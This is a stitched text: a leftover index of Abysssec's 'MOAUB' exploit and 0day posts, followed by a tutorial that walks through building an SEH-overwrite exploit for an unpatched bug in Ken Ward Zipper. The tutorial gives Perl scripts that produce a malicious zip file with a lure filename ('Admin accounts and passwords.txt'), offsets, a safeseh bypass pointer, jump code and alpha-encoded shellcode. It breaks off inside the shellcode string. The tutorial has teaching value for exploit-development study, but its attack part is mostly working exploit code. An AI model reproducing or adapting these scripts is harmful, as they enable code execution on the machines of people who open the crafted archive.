MOAUB #6 – HP OpenView NNM webappmon execvp_nc Remote Code Execution – Binary Analysis

0day:

MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities

MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day7:

Binary Analysis:

MOAUB #7 – Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow

MOAUB #7 – Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow

0day:

MOAUB #7 – DynPage <= v1.0 Multiple Remote Vulnerabilities – 0day

MOAUB #7 – DynPage <= v1.0 Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day8:

Binary Analysis:

MOAUB #8 – Microsoft Office Visio DXF File Stack based Overflow

MOAUB #8 – Microsoft Office Visio DXF File Stack based Overflow – Binary Analysis

0day:

MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities

MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities – 0 day

———————————————————————————–

Day9:

Binary Analysis:

MOAUB #9 – Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

MOAUB #9 – Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

0day:

FestOS CMS 2.3b Multiple Remote Vulnerabilities

MOAUB #9 – FestOS CMS 2.3b Multiple Remote Vulnerabilities

———————————————————————————–

Day10:

Binary Analysis:

MOAUB #10 – Excel RTD Memory Corruption

MOAUB #10 – Excel RTD Memory Corruption

0day:

MOAUB #10 – aradBlog Multiple Remote Vulnerabilities

MOAUB #10 – aradBlog Multiple Remote Vulnerabilities

———————————————————————————–

Day11:

Binary Analysis:

MOAUB #11 – Microsoft Office Word 2007 sprmCMajority Buffer Overflow

MOAUB #11 – Microsoft Office Word 2007 sprmCMajority Buffer Overflow

0day:

MOAUB #11 – ASP Nuke SQL Injection Vulnerability

MOAUB #11 – ASP Nuke Sql Injection Vulnerability

———————————————————————————–

Day12:

Binary Analysis:

MOAUB #12 – Adobe Acrobat and Reader “pushstring” Memory Corruption

MOAUB #12 – Adobe Acrobat and Reader “pushstring” Memory Corruption

0day:

MOAUB #12 – eshtery CMS SQL Injection Vulnerability

MOAUB #12 – eshtery CMS SQL Injection Vulnerability

———————————————————————————–

Day13:

Binary Analysis:

MOAUB #13 – RealPlayer FLV Parsing Integer Overflow

MOAUB #13 – RealPlayer FLV Parsing Integer Overflow

0day:

MOAUB #13 – Luftguitar CMS Vulnerability: Upload Arbitrary File

MOAUB #13 – Luftguitar CMS Vulnerability: Upload Arbitrary File

———————————————————————————–

Day14:

Binary Analysis:

MOAUB #14 – Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow

MOAUB #14 – Novell iPrint Client Browser Plugin ExecuteRequest debug Stack Overflow

0day:

MOAUB #14 – FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities

MOAUB #14 – FreeDiscussionForums v1.0 Multiple Remote Vulnerabilities

———————————————————————————–

Day15:

Binary Analysis:

MOAUB #15 – Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption

MOAUB #15 – Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption

0day:

MOAUB #15 – PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities

MOAUB #15 – PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities

———————————————————————————–

Day16:

Binary Analysis:

MOAUB #16 – Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability

MOAUB #16 – Microsoft Excel HFPicture Record Parsing Remote Code Execution Vulnerability

0day:

MOAUB #16 – mojoportal Multiple Remote Vulnerabilities

MOAUB #16 – mojoportal Multiple Remote Vulnerabilities

———————————————————————————–

Day17:

Binary Analysis:

MOAUB #17 – Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution

MOAUB #17 – Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution

0day:

MOAUB #17 – phpmyfamily Multiple Remote Vulnerabilities

MOAUB #17 – phpmyfamily Multiple Remote Vulnerabilities

———————————————————————————–

Day18:

Binary Analysis:

MOAUB #18 – Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability

MOAUB #18 – Apple QuickTime FLI LinePacket Remote Code Execution Vulnerability

0day:

MOAUB #18 – CMSimple XSRF Vulnerability

MOAUB #18- CMSimple XSRF Vulnerability

———————————————————————————–

Day19:

Binary Analysis:

MOAUB #19 – Novell iPrint Client Browser Plugin call-back-url Stack Overflow

MOAUB #19 – Novell iPrint Client Browser Plugin call-back-url Stack Overflow

0day:

MOAUB #19 – JMD-CMS Multiple Remote Vulnerabilities

MOAUB #19 – JMD-CMS Multiple Remote Vulnerabilities

———————————————————————————–

Day20:

Binary Analysis:

MOAUB #20 – Java CMM readMabCurveData Stack Overflow

MOAUB #20 – Java CMM readMabCurveData Stack Overflow

0day:

MOAUB #20 – VWD-CMS CSRF Vulnerability

MOAUB #20 – VWD-CMS CSRF Vulnerability

———————————————————————————–

Day21:

Binary Analysis:

MOAUB #21 – Microsoft Excel WOPT Record Parsing Heap Memory Corruption

MOAUB #21 – Microsoft Excel WOPT Record Parsing Heap Memory Corruption

0day:

MOAUB #21 – Personal.Net Portal Multiple Vulnerabilities

MOAUB #21 – Personal.Net Portal Multiple Vulnerabilities

———————————————————————————–

Day22:

Binary Analysis:

MOAUB #22 – Adobe Shockwave Director tSAC Chunk Memory Corruption

MOAUB #22 – Adobe Shockwave Director tSAC Chunk Memory Corruption

0day:

MOAUB #22 – gausCMS Multiple Vulnerabilities

MOAUB #22 – gausCMS Multiple Vulnerabilities

———————————————————————————–

Day23:

Binary Analysis:

MOAUB #23 – Adobe Acrobat Reader and Flash ‘newfunction’ Remote Code Execution Vulnerability

MOAUB #23 – Adobe Acrobat Reader and Flash ‘newfunction’ Remote Code Execution Vulnerability

0day:

MOAUB #23 – Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)

MOAUB #23 – Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)

———————————————————————————–

Day24:

Binary Analysis:

MOAUB #24 – Microsoft Excel OBJ Record Stack Overflow

MOAUB #24 – Microsoft Excel OBJ Record Stack Overflow

0day:

MOAUB #24 – Microsoft MPEG Layer-3 Audio Decoder Division By Zero

MOAUB #24 – Microsoft MPEG Layer-3 Audio Decoder Division By Zero

———————————————————————————–

Day25:

Binary Analysis:

MOAUB #25 – Mozilla Firefox CSS font-face Remote Code Execution Vulnerability

MOAUB #25 – Mozilla Firefox CSS font-face Remote Code Execution Vulnerability

0day:

MOAUB #25 – VisualSite CMS v1.3 Multiple Vulnerabilities

MOAUB #25 – VisualSite CMS v1.3 Multiple Vulnerabilities

———————————————————————————–

Day26:

Binary Analysis:

MOAUB #26 – Microsoft Cinepak Codec CVDecompress Heap Overflow

MOAUB #26 – Microsoft Cinepak Codec CVDecompress Heap Overflow

0day:

MOAUB #26 – Zenphoto Config Update and Command Execute Vulnerability

MOAUB #26 – Zenphoto Config Update and Command Execute Vulnerability

———————————————————————————–

Day27:

Binary Analysis:

MOAUB #27 – Microsoft Internet Explorer MSHTML Findtext Processing Issue

MOAUB #27 – Microsoft Internet Explorer MSHTML Findtext Processing Issue

0day:

MOAUB #27 – ndCMS Sql Injection Vulnerability

MOAUB #27 – ndCMS Sql Injection Vulnerability

———————————————————————————–

Day28:

0day:

MOAUB #28 – JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability

MOAUB #28 – JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability

0day:

MOAUB #28 – AtomatiCMS Upload Arbitrary File Vulnerability

MOAUB #28 – AtomatiCMS Upload Arbitrary File Vulnerability

———————————————————————————–

Day29:

Binary Analysis:

MOAUB #29 – Microsoft Excel SxView Record Parsing Heap Memory Corruption

MOAUB #29 – Microsoft Excel SxView Record Parsing Heap Memory Corruption

Day30:

Binary Analysis:

MOAUB #30 – Microsoft Unicode Scripts Processor Remote Code Execution

MOAUB #30 – Microsoft Unicode Scripts Processor Remote Code Execution

0day:

MOAUB #30 – ASPMass Shopping Cart Vulnerability File Upload CSRF

MOAUB #30 – ASPMass Shopping Cart Vulnerability File Upload CSRF

———————————————————————————–

Press :

Exploit-Database
Dark-Reading
NetworkAsia
ITBusinessedge
ComputerWorld
Theinquirer
And …

———————————————————————————–

PS : during these project and maybe we made some technical and non-technical mistakes due to complexly and compaction of this work and we hope we can fix some of them.

at end we are happy with result and your kind feedback.

for sure we will have really more interesting projects soon as soon possible and we think you will like them as well .

please follow me on twitter with @abysssec for other news projects and stay tunned for more projects .

as always finally if you have any question feel free to contact :

shahin [at] abysssec.com

info [at] abysssec.com

Ken Ward Zipper Stack BOF 0day – a not so typical SEH exploit

 

About 2 weeks ago, I published a somewhat detailed explanation about an exploit I wrote for a – what some people would call “lame” -  bug which I discovered in quickzip. In case you missed these articles, the articles were posted on the Offensive Security Blog : Part 1 and Part 2. 

Ok, I agree, there are a lot more impressive bugs than this one, but the process of writing a working exploit was interesting to say the least.  I had to deal with all kinds of hurdles, but by blending a little bit of creativity and persistence, I managed to pull it off.

Interestingly enough, I found a similar “lame” bug in another unzipper. The author decided to ignore my emails, so today I will disclose the details and explain how to write the exploit for this vulnerability. 

If you’ve read the articles I wrote on the Offensive Security Blog, then you will discover that this particular exploit is quite similar to the one for quickzip… but this time we will even have to push things a little bit further.

I have received quite some feedback about the writing style I applied to those 2 articles. Apparently people like the combination of a detailed explanation, with the concept of making the document look like a some kind of exercise at the same time.  

Based on that feedback, I decided to apply the same concept on this post. This translates into the fact that I have put a marker on some “strategic” places in this article, indicating that you should stop reading and that you should think about the current issue/situation/… and try to figure out for yourself how you would approach a given problem.

This marker will look like this :

stop and think

Fasten your seatbelts, let’s go.

 

Environment setup & triggering the bug

I used the following environment and tools to build the exploit :

  • XP SP3 English Professional, fully patched, running inside VirtualBox
  • The vulnerable application : Ken Ward Zipper
  • Perl  (I used ActiveState Perl 5.8.9)
  • Immunity Debugger 1.73, with pvefindaddr plugin
  • Metasploit 3 with custom MessageBox payload module (get a copy here – almost at bottom of that post)
  • alpha2 encoder 

Note : In case you already have pvefindaddr installed : you can verify that you have the latest version by running

!pvefindaddr update

 

Pretty much identicaly to the bug in quickzip, the bug in Ken Ward’s zipper gets triggered by opening a specially crafted zip file from within the unzip utility, and double-clicking on the file inside the zip (in an attempt to extract and open it).

To make things more attractive, I will try to craft the exploit in such a way, to make the filename inside the zip file appear as if it’s a valid and perhaps interesting text file.

The basic structure of the malicious zip file looks like this :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

my $payload = "A" x 4064;
$payload = $payload.".txt";
my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

This script will create a zip file that will crash our application.

Usually, when an application crashes, one of the first things any exploit developer is looking for is to find out whether registers were overwritten, if EIP or SEH records are overwritten, and at what offsets these overwrites occurred.  

In order to make that process easier, we won’t run the script as it is, but we will create a cyclic “Metasploit” pattern first (4064 characters) and put that in $payload.  You will understand why in just a few moments.

Open Immunity Debugger. In the command bar at the bottom of the debugger, type in the following command :

!pvefindaddr pattern_create 4064

This will generate a cyclic/unique pattern, write it to the Immunity Debugger log window, and also to a file called “mspattern.txt”, which can be found in the Immunity Debugger application folder.  Open this file, copy the pattern, and paste in into the script (effectively replacing  (“A” x 4064) with the unique pattern). 

Create the zip file :

C:\sploits\kenward>perl boom.pl
[+] Preparing payload
[+] Removing old zip file
[+] Writing payload to file
[+] Wrote 8234 bytes to file corelan_kenward.zip
[+] Payload length : 4068

C:\sploits\kenward>

Note : Ken Ward zipper will remember the last zip file that have opened.  If this file still exists, it will open it automatically.  So if you want to be sure to start from a clean situation, remove all zip files prior to opening zip4.exe, and then generate the zip file again.

Open Ken Ward zipper.  When you see the main application screen, open Immunity Debugger and attach it to zip4.exe

image_thumb6_thumb[1]

image

The application will be paused at ntdll.DbgBreakPoint. Simply press F9 to continue to run the application.  Go back to the application. Use the “Open an existing file to unzip” button and select the corelan_kenward.zip file

image

When the file is loaded in the application, you should see something like this :

image

The filename column clearly points to the first characters of a cyclic pattern.

Trigger the bug : double-click on the Filename. 

Immunity will now take focus again, because it catched an exception.

 Address=00408EB1
 Message=[11:27:20] Access violation when writing to [00140000]

That’s clearly a stack overflow. We attempted to write a dword ptr (at [ESI]) beyond the end of the current stack frame [EDI], which points at 0x0013FFFE before the write instruction is executed. This caused an access violation.

 

Evaluating the crash

Making the application crash was not that difficult.

We decided to use a long cyclic pattern string to produce the crash, which means that we can save some time and (with Immunity still attached to the crashed application) use the pvefindaddr plugin to do some research about the crash. (This is why I asked you to use a unique pattern instead of just A’s – remember ?)

In Immunity, simply run the following command :

!pvefindaddr suggest

This will evaluate registers and SEH chain, and will look for references to a cyclic pattern.  If the plugin found references in a register, it will calculate offsets.   Wait a few seconds until the output is generated and look at the Immunity Debugger Log window for the results :

image

The 2 most important things we see are

  • a SEH record is overwritten
  • the offset to next SEH is 1022 bytes (offset might be slightly different on your machine !)

That means that it should be fairly easy to get code execution, as long as we can bypass any protection mechanisms in place (safeseh, etc)

 

 

Confirm offsets

Let’s change the script to confirm that the offsets are correct. At the same time, we will also change the payload a bit, making the filename look like an interesting file at the same time. After all, we control the filename inside the zip file, so perhaps we can do something with it.

Let’s have a look at this script :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = "A" x ($offset - length($filename));
my $nseh="BBBB";
my $seh="CCCC";
my $payload = $filename.$junk.$nseh.$seh;
my $rest = "D" x ($size-length($payload));

$payload=$payload.$rest.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

As said before, I will try to make the filename inside the zip file look like something attractive (hence “Admin accounts and passwords.txt”) , and I will some spaces after this filename (to make it look more genuine).  I will fill up the rest of the buffer before nSEH (up to 1022 bytes) with A’s. 

At nseh we will put 42424242 and at SEH we will write 43434343.  The remaining space of the 4064 bytes will be filled with D’s. (44444444).

Create the zip file. Open zip4.exe, and attach Immunity to the application.  Then open the zip file :

image_thumb12[1]_thumb[1]

We clearly see our fake filename.  Double click the “Admin accounts and passwords.txt” filename. Immunity should catch the exception and the SEH chain should look like this :

image_thumb15_thumb[1]

On the stack, we can see our payload, we can see that it has overwritten a SE record, and we also see that the D’s are available on the stack after the SE record. 

image_thumb16_thumb[1]

 

 

SEH : pop pop ret, jump, exec => owned ?

In normal SEH based exploits, the goal is to find a pointer to an address that would allow us to jump to the 4 bytes at next SEH and execute those bytes.  The most common technique to do this, is using a pointer to pop pop ret.

When pop pop ret returns, in most cases the 4 bytes at nseh are used to jump to payload (either before or after the SEH record) in order to get code execution at that location.    So in normal cases, it takes only a few minutes to pull this together and build a working exploit.

stop and think

Is this logic correct ? Will that lead to code execution ?  And where will you get the pointer to p/p/r from ?

 

The p/p/r pointer

Because of exception handling abuse protection mechanisms (Software DEP/Safeseh etc), we have to find an address that will allow us to execute a pop pop ret, effectively bypassing thesese protection mechanisms.   The most common way to bypass safeseh, is by using a pointer to p/p/r from a non-safeseh compiled module (or the executable itself, if it’s not safeseh protected either).  

If no usable address can be found, you can also try to use a p/p/r from one of the OS modules that are loaded together with the application.  The disadvantage of this approach is that the exploit would probably only work the operating system/service pack that was used to build the code on.

Anyways, let’s try to make it universal/generic.

The pvefindaddr plugin provides for an easy way to list all p/p/r pointers, by querying all modules that are loaded when the application crashed, and that are not safeseh protected.

Simply run this command, with Immunity attached to the application, at crash time :

!pvefindaddr p

Now leave the debugger alone and let it do the search. This can take up to a few minutes (after all, it will search for all possible pop pop ret combinations, in all loaded modules !), and it might take all CPU… so just leave it alone for a while.   All output will be written to the Immunity Log window, and to a file called ppr.txt (generated inside the Immunity Debugger application folder)

When the search process has finished, Immunity Debugger will become responsive again and display the number of found addresses at the end of the Log (and in the status bar)

image_thumb181_thumb[1]

2397 addresses, plenty of choice.

The non-OS, non-safeseh protected modules are :

image_thumb20_thumb[1]

=> only zip4.exe  (the other ones are from the Windows OS, and those may be different across other versions of the Windows OS/Service Pack). So let’s focus on the executable itself.  As you can see in the output above, the executable is loaded into memory at base address 0×00400000. This address starts with a null byte, so we have to take that into consideration.

Open the ppr.txt file, take the first available pointer from zip4.exe, and replace the 4 C’s at SE Handler with this address.

image

(so basically, replace  my $seh=”CCCC”;  with my $seh = pack(‘V’,0x00402AFB);   create a new zip file and trigger the crash again)

When Immunity catches the exception, the SEH chain looks like this :

image_thumb241_thumb[1]

We see 2 things :

  • The address 0x00402AFB got replaced with 0x00402A76
  • The access violation occurs in a different instruction. This is caused because of the null byte in the p/p/r address (which acts as a string terminator). This is fine, but the fact that the address changed means that we have to deal with a character set limitation. 

So this one will take a little bit longer than just a few minutes.

stop and think

How would you approach this character set limitation ?   What are the consequences of this limitation ?  Is there only an impact on the p/p/r pointer ?  Or also on other parts of the payload ?

 

Character set limitation

This is not new.  When I discussed the exploit building process for the quickzip vulnerability (on the Offensive Security Blog), I noticed the same thing… 

The result of that is that we can only use payload/addresses consisting of bytes that would be valid characters in a filename.  (So if we limit our search to bytes that are either numbers or characters (lowercase/uppercase) from the alphabet, we should be fine.  Further more, we’ll probably need to deal with this limitation for the entire payload, so we’ll have to keep this in mind.

Open ppr.txt again.  In the output, you can see if an address would be compatible with this kind of limitation… The pvefindaddr plugin puts a marker next to addresses, indicating if the address is ascii printable and optionally if it only contains numbers/alphabet characters).

Addresses that contain ascii printable bytes only, will have a marker “[ Ascii printable ]“.  If the address only contains nums&alphabet, it will also state “[Num&Alphabet Chars only !]“.   That means that we can easily search for matching addresses using the following DOS command :

C:\Program Files\Immunity Inc\Immunity Debugger>type ppr.txt | findstr "Ascii" | findstr "Num"

C:\Program Files\Immunity Inc\Immunity Debugger>

0 results.   But we are being too strict really.  The [ Ascii printable ] marker will not show any addresses that start with a null byte.  (You can, of course, change the pvefindaddr plugin).  On top of that, some non-alphabet characters will also work fine (spaces, etc). 

So perhaps we should just manually look at the ascii-printable addresses in the text file, and then locate one that will do the job.  (www.asciitable.com)

Let’s try 0x00415A68

  • 0×41 = “A”
  • 0x5A = “Z”
  • 0×68 = “h”

image_thumb26_thumb[1]

Put this address at $seh and try again

image_thumb28_thumb[1]

That looks a lot better.  Set a breakpoint on this address (bp 00415A68) and press Shift F9 to pass the exception to the application.  The event handler should kick in and jump to 0x00415A68

image_thumb31_thumb[1]

Use F7 to step through the instructions (basically execute one instruction at a time), until after the RETN instruction is executed. The RET should make you land back at the 4 bytes at nseh (BBBB) :

image_thumb321_thumb[1]

So far so good.

 

nseh jumpcode, but where to ?

We can use the 4 bytes at nseh to make a jump. 

stop and think

Where should we make the jump to ?  As you can see on the stack, the D’s that were placed in the payload buffer after overwriting the SEH structure are not visible anymore.  It looks like the null byte in the ppr address terminated the string, and now the D’s are “gone”.

 

image65_thumb1_thumb[1]This means that, at nseh, you can only jump back. Jumping forward does not make any sense, because we no longer control the bytes on the stack after the SEH record was overwritten.  

But we do control most part of the stack before the SEH record was overwritten. 

In theory, we should have like 1022 bytes (- the bytes needed for the filename and spaces at the beginning of the payload).   Whether these 1022 ( minus some ) bytes can be fully used or not, is not clear at this point.

We can, for example, see on the stack that in the buffer with A’s (which sit between the fake filename (start of the string), and the location in the string used to overwrite SEH), some nulls have been inserted.

image_thumb34_thumb[1]

If we continue to scroll up in the stack view, we get closer to the start of the buffer, and eventually we can find the fake filename, spaces and the start of the A’s (at 0013F58E)

image_thumb1_thumb[1]

The current location, when the pop pop ret is executed, is 0013F908.  So that means that we have about 890 bytes at our disposal.

image_thumb5_thumb[6]

Since we know that the buffer is subject to a character set limitation, we will most likely need to encode all instructions/shellcode before we can execute them.  Encoding will increase the total shellcode size, and the code that we’ll probably to align registers and stack may need to be encoded too.  So we might end up with some sizing issues here.  890 bytes is not bad, but it’s not huge either.

Anyways, we will start by jumping back at nseh (because that’s the only option we have at this point).  Because of the character set limitation, we cannot use the 0xeb opcode for this.

stop and think

0xEB won’t work. So what are our options to make a jump back ?

Answer : we still can use conditional jumps to jump back. Look at the state of the flags when you land back from the pop pop ret instructions :

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)

Based on these flags, we can use JE (0×74) to make a jump back. This one will make a short jump if the zero flag is 1. This short jump instruction takes a single byte offset. Because of the character set limitation, the amount of bytes we are able to jump back will be limited to a small range. 

In the quickzip writeup, we learned that 0×74 with offset 0xF7 would translate/get converted into 0×74 0×98, making a jump back of 102 bytes.

Let’s fnd out if this works :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = "A" x ($offset - length($filename));
my $nseh="\x74\xf7\x90\x90";   #f7 becomes 98 -> jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$junk.$nseh.$seh;
my $rest = "D" x ($size-length($payload));

$payload=$payload.$rest.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

Right after the pop pop ret is executed, we land at the backward jump at nseh, and the CPU view in Immunity looks like this :

image

 

 

Backward jump works, but what can we do with it ?

Before deciding where to put our shellcode and changing jump back values if needed, we need to figure what we want to do.

stop and think

We have about 890 bytes, more or less. How do we want to use those bytes ?   Is that the location we have to put our shellcode at ?

Well, let’s not just believe what we see and don’t see. Let’s find out and get the facts before taking any decisions.  As Oscar Wilde once said : “When you assume, you make an ass out of u and me”.

The null byte at SEH made the remaining part of the buffer string “disappear”, but that does not mean that this string is not availabe in memory anywhere. And if it is available in memory, then we may be able to use the 890 bytes to jump to the real shellcode in memory… and that changes the situation.

In order to find that out, we will write some real shellcode in the buffer (after the SEH overwrite), and then we will use pvefindaddr to search for it.

Let’s create some shellcode, and encode the shellcode to avoid that it would break the zip file structure. 

./msfpayload windows/messagebox TITLE="CORELAN" 
     TEXT="corelanc0d3r says hi to the Abysssec.com blog visitors" R 
 | ./msfencode -e x86/alpha_mixed -t perl

This will produce 690 bytes of shellcode

[*] x86/alpha_mixed succeeded with size 690 (iteration=1)

We will put the shellcode at the end of the payload, and we will also write it to a file at c:\tmp\shellcode.bin. The latter is required for pvefindaddr later on

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f". 
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00". 
"\x02\x10\x00\x00". 
"\x00\x00";

print "[+] Preparing payload\n";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = "A" x ($offset - length($filename));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$junk.$nseh.$seh;

my $shellcode = 
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
